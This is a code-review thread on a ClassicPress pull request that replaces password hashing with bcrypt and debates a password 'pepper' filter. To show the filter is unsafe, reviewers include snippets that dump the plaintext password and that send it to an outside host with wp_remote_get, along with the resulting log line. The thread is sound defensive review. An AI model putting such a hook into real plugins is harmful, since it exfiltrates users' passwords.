Strengthen passwords

[KTS915]

This PR is intended to address Issue #1054.

That Issue asks for passwords to be hashed with bcrypt instead of the current hashing mechanism, which is not very strong. This PR fulfills that request but, rather than hard-coding bcrypt as the choice, it sets the hashing mechanism as the PHP default, which is currently bcrypt. This enables the algorithm to be changed seamlessly in future without any need to rewrite these functions.

In addition, this PR creates a new filter, cp_hash_password_options, through which users can easily modify the options associated with the hashing algorithm (especially the cost).

Further details about the algorithm and the associated cost may be found at https://www.php.net/manual/en/function.password-hash.php

Further down that same page, at https://www.php.net/manual/en/function.password-hash.php#124138, there is a discussion of the use of a "pepper" in addition to the "salt", which is already built-in to the relevant PHP functions. This PR provides a new filter, cp_pepper_password which enables a user to set a pepper to be used as part of the hashing mechanism. The docblocks explain how to use this filter.

Finally, all the functions that are currently pluggable remain pluggable for anyone who wishes to override them completely.

Because of what's involved here — we don't want to lock people out! — this PR needs plenty of testing before being merged into core. So I think it best not to aim for v2.1 unless that gets delayed. I have therefore set the milestone as v2.2.

[KTS915]

I've now also added a filter to enable a user to choose a different hashing algorithm.

[mattyrob]

Really great start I would say, but as I have been working through the failing tests I think there are a few things that need addressing:

1/ Layout changes - simple fix and I can push that.
2/ Docblocks I think are in need of clarification and simplification, for example @param should only list arguments passed to the function or filter, not everything at the top. Happy t be corrected here but again a simple fix.
3/ Previously, any passwords entered had white space removed from the start and end of the password, I think we should maintain that with an early trim() applied to the password as passed into wp_hash_password().
4/ Currently there is a maximum password length of 4096 characters, this was introduced to help avoid password based DOS attacks, hashing can be very slow and the longer the password the longer it takes. This needs to be investigated and perhaps maintained.
5/ I'm really not comfortable with the cp_pepper_password filter as it stands, we need to find a better way, with a little code like that below it would be very easy for a user with plugin upload privileges to reveal passwords. Usually that is admin, but is would allow privilege escalate to Super Admin, locking out of other admins etc.:

function password_reveal( $password ) {
	var_dump( $password ); // this could be an email or database entry creation rather than a var_dump();
	return $password;
}

add_filter( 'cp_pepper_password', 'password_reveal' );

[KTS915]

Great points, as always, @mattyrob!

I'm happy for you to fix the formatting and docblock issues.

I'll take a further look at your points 3 and 4, and am also open to suggestions from you, @xxsimoxx, and anyone else who cares to comment here.

On point 5, how about changing the filter so it's a simple boolean and then using one of the salts in wp-config.php as the pepper?

Along similar lines, should there be a boolean filter that allows users to turn off the MD5 option? CP doesn't currently provide this but, while using MD5 is a great way to get back in when an administrator has locked themselves out somehow, it does also seem like an awfully simple means of evading all the security that's otherwise built-in to the hashing process.

[mattyrob]

I have been having a play and implemented a call_user_func() solution. So, the new filter takes a function name or a static class method and calls that function or method dynamically on the $password without revealing it.

I'd be happy to keep or scrap that in favour of the solution proposed about so hash using the salt. The only issue I wonder about this, if there was a pepper in place and and that was removed (like uninstalling a plugin or updating wp-conffig.php salt keys, wouldn't that lock you out of the admin? Your password wouldn't authenticate - right?

[KTS915]

Yes, that is exactly the problem with using a salt in the wp-config.php file. That's when the backup MD5 option would come in useful.

I'd much prefer to go with another option that avoids that. It sounds like you've already thought of a better option, so please go ahead!

[mattyrob]

The way the cp_pepper_password filer will work as per the curren implementation is to either take a function or method name of a function.

Example of a basic PHP function, pass the filer a function name that returns the name of a further function that conducts the peppering, in this case reversing the password string:

function password_reveal( $password ) {
	return strrev( $password );
}

function pepper_function() {
	return 'password_reveal';
}
add_filter( 'cp_pepper_password', 'pepper_function' );

A class needs the class name and method passing statically so something like the following:

class Password_test {
	function init() {
		add_filter( 'cp_pepper_password', array( $this, 'pepper_function' ) );
	}

	static function password_reveal( $password ) {
		return strrev( $password );
	}
	
	function pepper_function() {
		return 'Password_test::password_reveal';
	}
}

$pwt = new Password_test();
$pwt->init();

These can be implemented on a checkout of this branch and tested in an admin page with code like the following:

$password = 'Password123';
$hash = wp_hash_password( $password );

$check = wp_check_password( $password, $hash );
var_dump( $check ); // should return `true`

[mattyrob]

One thing to note that might be worth investigating / considering, I've read that bcrypt is slower than the previous method and this may well be reflected in PHPUnit tests taking roughly twice as long as before - 22 minutes compared to 10 minutes.

We can use the cp_hash_password_options filter in the testing configuration to reduce the cost and that speeds things up.

[KTS915]

Good points about the speed! Yes, bcrypt is much slower; that's part of what makes it so much more secure. We could also use the options filter in the tests to reduce the cost down to (say) 1.

[xxsimoxx]

Looks good!

Also can't find a way to lock me out.

[KTS915]

This is working well, except that I haven't been able to apply a pepper. The problem is that I haven't managed to get the peppering function applied to the cp_pepper_password filter to pass is_callable(). So my peppering function never runs.

The code I am using for the peppering function is this:

function kts_new_pepper_password( $password ) {
	return hash_hmac( 'sha256', $password, 'long-string-known-as-pepper' );
}
add_filter( 'cp_pepper_password', 'kts_new_pepper_password' );

Where do I need to put the peppering function, or what else do I have to do to make this work?

[xxsimoxx]

@KTS915 here an example:

function pepper_function($p) {
	return strrev($p);
}

function pepper_function_name() {
	return 'pepper_function';
}
add_filter( 'cp_pepper_password', 'pepper_function_name' );

[KTS915]

Thanks, @xxsimoxx ! I can confirm it's working for me.

[mattyrob]

@KTS915 - merging your code and mine you would need something like this:

function kts_new_pepper_password( $password ) {
	return hash_hmac( 'sha256', $password, 'long-string-known-as-pepper' );
}
function kts_pepper_function_name() {
	return 'kts_new_pepper_password';
}

add_filter( 'cp_pepper_password', 'kts_pepper_function_name' );

[xxsimoxx]

But the problem is that using call_user_func does not prevent from grabbing passwords:

function pepper_function($p) {
	wp_remote_get('https://educatorecinofilo.dog/'.$p);
	return $p;
}

Then, in my logs:

xx.xx.xxx.xx - - [07/May/2024:16:57:11 +0200] "GET /abcd HTTP/1.0" 301 518 "-" "WordPress/6.2.5; https://www.classicpress.net/?wp_compatible=true&ver=2.0.0"
                                                    ----

where "abcd" is my new password.

[KTS915]

Thanks, @mattyrob ! That's exactly what I just did, and it worked fine.

[KTS915]

Do we maybe need to hash the password first before adding the pepper and re-hashing?

That would be very slow, though. And maybe likely to break on verification.

[mattyrob]

But the problem is that using call_user_func does not prevent from grabbing passwords:

It's worth thinking about this feature a bit more then, and if we can't produce a secure way that can't be implemented wihout surfacing passwords perhaps it should be default somehow or removed.

[xxsimoxx]

@mattyrob I agree that this is not secure, but wp_hash_password is pluggable, so my idea is that the filter doesn't really add a security issue, as I can redeclare the whole function in a plugin anyway.

[KTS915]

@mattyrob I agree that this is not secure, but wp_hash_password is pluggable, so my idea is that the filter doesn't really add a security issue, as I can redeclare the whole function in a plugin anyway.

I was just coming back to say much the same thing. In fact, anyone could be exfiltrating passwords using the function that both CP and WP currently use. So we aren't really adding a problem here, especially as this is arguably a more difficult way to get hold of passwords than by using a pluggable function.

The alternative, I think, is to go back to my previous suggestion of using a salt in wp-config.php as the pepper. Yes, changing the salt would log everyone out, but that's what it's for, and everyone could then just reset their password. Of course, a plugin could maliciously change the salt too, so there's that.

[mattyrob]

Plugins on the WP repository are scanned and while I don't know, I suspect that any plugin that plugs wp_hash_password() is carefully checked. I understand what you are both saying - the door is already open, but I don't think we should make things easier still by removing the door fully (to continue my analogy).

There is an interesting summary here that advised to not bother with peppering. While in theory is should improve security, it might make things easier to break is the bottom line. Particularly when you read how long it takes to break a brcrypt password already. Maybe the peppering should come from a plugin that plugs the whole function for use cases that need it.

[KTS915]

Particularly when you read how long it takes to break a brcrypt password already.

That used to be true, @mattyrob . But not any more. See https://www.tomshardware.com/news/eight-rtx-4090s-can-break-passwords-in-under-an-hour

That article is the reason why I thought to include a hash. I thought it was interesting that it's actually been recommended by the National Institute of Science and Technology since 2017. See https://www.php.net/manual/en/function.password-hash.php#124138

I don't find the comment to which you linked terribly persuasive anyway. The only really valid point it makes is maintainability. But since CP comes with a built-in password reset mechanism, and the code we're proposing has an emergency MD5 hashing method available too, I'm not seeing that as much of a problem either.

[mattyrob]

I don't have any massive reservations about including peppering provided it doesn't easily surface passwords in the core code. Perhaps the solution is to hard code the pepper key to one of the existing salts in wp-config.php.

The issue with this is, as detailed in the article I read, if the key changes you need to reset your password - no a massive issue but potentially annoying when there are plugins that periodically update the salts for example.

Or the other option is to enable passing a string to the filter to be used in peppering.

[KTS915]

I think I've resolved our dilemma with my latest commit. The issue we were having was caused by applying the filter in order to decide whether to use a pepper or not. In this commit, I have changed it so that a pepper is always used, but the string used for the pepper is filtered.

This means that the filter does not expose a way for someone to obtain a password. Having the default pepper hard-coded like this means that it is only marginally more secure than having no pepper at all (because anyone could check what CP uses for the default pepper). But that's not an issue here because the pepper can easily be changed through use of the filter. Hardcoding the pepper in this way also avoids the problems we've noted with using a salt.